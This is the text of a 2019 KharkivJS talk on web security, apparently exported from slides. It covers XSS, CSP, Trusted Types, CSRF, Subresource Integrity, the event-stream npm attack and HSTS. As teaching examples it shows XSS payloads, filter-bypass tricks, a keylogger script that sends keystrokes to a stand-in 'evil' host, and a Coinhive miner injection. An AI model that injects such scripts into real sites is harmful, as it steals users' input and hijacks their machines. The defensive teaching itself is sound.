Безопасность в Web

Stepan Suvorov

CTO @ Studytube

Masters in Information Security

KharkivJS x10

Philippe de Ryck

Thank you for the inspiration!

Ph.D. in Web Security

Google Developer Expert

Founder of Pragmatic Web Security

  • 1. Injection
  • 2. Broken Authentication
  • 3. Sensitive data exposure
  • 4. XML External Entities (XXE)
  • 5. Broken Access control
  • 6. Security misconfigurations
  • 7. Cross Site Scripting (XSS)
  • 8. Insecure Deserialization
  • 9. Using Components with known vulnerabilities
  • 10. Insufficient logging and monitoring

OWASP Top 10

  • 1. SQL Injection
  • 2. Cross-Site Scripting (XSS)
  • 3. Broken Authentication/Access control
  • 4. Security misconfigurations
  • 5. Cross-site Request Forgery (CSRF)
  •  
  •  

Most occurred

  • 1. SQL Injection
  • 2. Cross-Site Scripting (XSS)
  • 3. Broken Authentication/Access control
  • 4. Security misconfigurations
  • 5. Cross-site Request Forgery (CSRF)
  •  
  •  
  • 1. SQL Injection
  • 2. Cross-Site Scripting (XSS)
  • 3. Broken Authentication/Access control
  • 4. Security misconfigurations
    • ​Dependencies
    • HTTPS
  • 5. Cross-site Request Forgery (CSRF)
  •  
  •  

Agenda

XSS

XSS

Post Data with malicious code
Store
Fetch
Open App
Get malicious code
Check

Reflected XSS

Request with payload
Page with payload
Request unrelated page
Page with malicious code
.../search.php?q=something<script>alert(1)</script>...
...<h1>Search for something<script>alert(1)</script>...

DOM-based XSS

Follow link
Response
Make user to follow a link
var url = new URL(location.gref).searchParams.get("user");
$('#form').append('<input type="hidden" value="' + url + '">');
<form id="#form">
  <input type="hidden" 
    value="https://example.com"/><script>alert(1)</script>
</form>
.../?user=something<script>alert(1)</script>...

What's the worst you can do with XSS?

var keys='';
document.onkeypress = function(e) {
  e = window.event?event:e;
  key = e.keyCode?e.keyCode:e.charCode;
  key = String.fromCharCode(key);
  keys+=key;
} 

window.setInterval(function(){
  new Image().src = 'http://evil.../log.php?c='+keys;
  keys = '';
}, 1000);
<script src="https://coinhive.com/lib/coinhive.min.js"> 
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start(); 
</script>

XSS Defence

Sanitization

How can you bypass XSS filters?

$save_text = str_replace('script', 'span', $text);
<ScRiPt>/* bad code here*/ </ScRiPt>
<input type="image" src="javascript:/* ... */;">
<img src="no.png" onerror="/* bad code here */">

Don't even think about rolling your own sanitizer!

Content Security Policy

CSP

  • style-src
  • base-uri
  • script-src
  • object-src
  • img-src
  • font-src

What does CSP do?

Inline code
API
CDN
Analytics
3rd party
Injected script

Report-Only

Content-Security-Policy-Report-Only: 
  default-src https: 'unsafe-inline' 'unsafe-eval'; 
  report-uri https://csp-violation-report-endpoint/

DOM Trusted Types

$('#form').append('...some STRING');
el.innerHTML='...some STRING'

DOM Trusted Types

  • Don't pass (HTML, URL, script URL) strings to the DOM
  • Use object instead
  • DOM already supports it:
  • Web platform (or polyfill) provided typed objects:
    • TrustedHTML
    • TrustedScript
    • TrustedURL
    • TrustedScriptURL
  • Security rules & controls are based on types
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
Content-Security-Policy: trusted-types myPolicy
el.innerHTML = location.hash.slice(1); //string
//create via a TrustedTypes policy
el.innerHTML = aTrustedHTML;
Content-Security-Policy: trusted-types *

CSRF

CSRF

login
action
bad action
done
done!

eBay : The password cannot be updated by using this method.

eBay CSRF Story

          : However, the information that’s needed to reset the password can.

 

facebook CSRF

2019 reward

  • Jan 26, 2019 — Report Sent
  • Jan 26, 2019—  Acknowledged by Facebook
  • Jan 28, 2019 —  More details sent
  • Jan 31, 2019— Fixed by Facebook
  • Feb 12, 2019 — 25K bounty Awarded by Facebook

What to do against CSRF?

CSRF Tokens

login
action
bad action
done
Token:  
 ==
Token: ... 
NO ACCESS!
 != ...

Dependencies

Are you loading something from CDN?

What to do?

Subresource Integrity

https:// .../1.8/jquery.js
CDN
    modified jquery.js*
<script src="http://.../1.8/jquery.js" 
        integrity="sha384-DegqqxuZuCnJ...38EidfneOW/An5kgufFFTa"
        crossorigin="anonymous">
</script>
<script src="http://.../1.8/jquery.js" 
        integrity="sha384-DegqqxuZuCnJ...38EidfneOW/An5kgufFFTa">
</script>
<script src="http://.../1.8/jquery.js">
</script>
   sha(jquery.js) != sha(jquery.js*)

Let's talk about

npm

Do you know all your project dependencies?

True story

event-stream v3.3.6

right9ctrl

event-stream v4.0.0

flatmap-stream v0.1.1

flatmap-stream v0.1.0

event-stream v3.3.5

flatmap-stream v0.1.1

require("crypto").decrypt("aes256", data, npm_package_description);

copay-dash

if(!/build\:.*\-release/.test(process.arg[2])) return;

npm       run-script      command

"build:ios-release": "run-s env:prod && ionic cordova build ios --release"

inject malicious payload to steal private keys from wallet

flatmap-stream v0.1.1

45 days

event-stream

77 days

How it was found?

pure luck!

npm audit

HTTPS

SSL vs TLS

Why not to use Https?

How can we get people to use the HTTPS version of the site?

Redirect

request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response

But

95% of HTTPS servers vulnerable to trivial MITM attack

request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response
request HTTP page
HTTP response
HTTPS  HTTP
login
steal
credentials
login HTTPS
HTTPS response
HTTP response

HSTS

request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response
with Strict-transport-security header
another day
user requests HTTP page

Bonus

Thank you for your attention.

Stepan Suvorov

Questions?

Дякую за увагу.

KharkivJs 2019

By Stepan Suvorov

KharkivJs 2019

  • 1,425